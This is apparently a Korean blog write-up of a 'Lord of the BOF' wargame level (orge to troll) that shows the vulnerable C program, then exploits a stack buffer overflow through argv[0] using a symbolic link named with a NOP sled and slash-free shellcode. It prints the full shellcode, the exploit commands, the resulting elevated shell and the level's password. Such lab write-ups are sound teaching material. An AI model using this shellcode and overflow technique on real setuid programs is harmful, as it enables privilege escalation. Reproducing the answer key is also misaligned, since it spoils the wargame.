본문 바로가기

워게임/lord of bof

level 7 -> 8


[orge@localhost orge]$ cat troll.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - troll

        - check argc + argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter 

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

}

이런 그동안 잘쓰던 argv[1] 영역을 쓸 수 없게 되어버렸네요

심지어 쟁여뒀던 argv[2]조차 쓸 수 없습니다 흠

근데 argv[0]은 쓸 수 있나보네요; 이 영역을 이용하도록 하죠 아까 썼던 심볼릭 링크를 이용해봅시다.


...그런데 안되네요 ㅡㅡ; 찾아보니 0x2f가 포함되어있다고 안된다네요.. 0x2f가 아스키로 슬러쉬(/)문자인데 이거때매 그런가보네요.


아무튼 0x2f가 없는 쉘코드로 제일 많이 쓰이는게 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81가 있네요 이걸 써보죠


[orge@localhost test]$ ln -s troll `perl -e 'print "\x90"x100, "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

[orge@localhost test]$ ls -a;

.

..

troll

?????????????????????????????????????????????????????????????????????????????????????????????????????^12?l????u楕?凹2핽i00tii0cjo??T????


굿 생겼습니당



적절하게 b20 쯤으로 리턴하게 해주면 한번에 성공!


[orge@localhost orge]$ ./`perl -e 'print "\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "A"x44,"\x20\xfb\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAg

bash$ id

uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)

bash$ my-pass

euid = 508

aspirin


사실 중간에 문제있어서 자꾸 재부팅했는데 ㅡㅡ; 암튼 심볼릭 링크로 푸는건 이제 앵간해선 좀..



'워게임 > lord of bof' 카테고리의 다른 글

level 9 -> 10  (0) 2015.10.23
level 8 -> 9  (0) 2015.10.23
level 6 -> 7  (0) 2015.10.23
level 5 -> 6  (0) 2015.10.23
level 4 -> 5  (0) 2015.10.23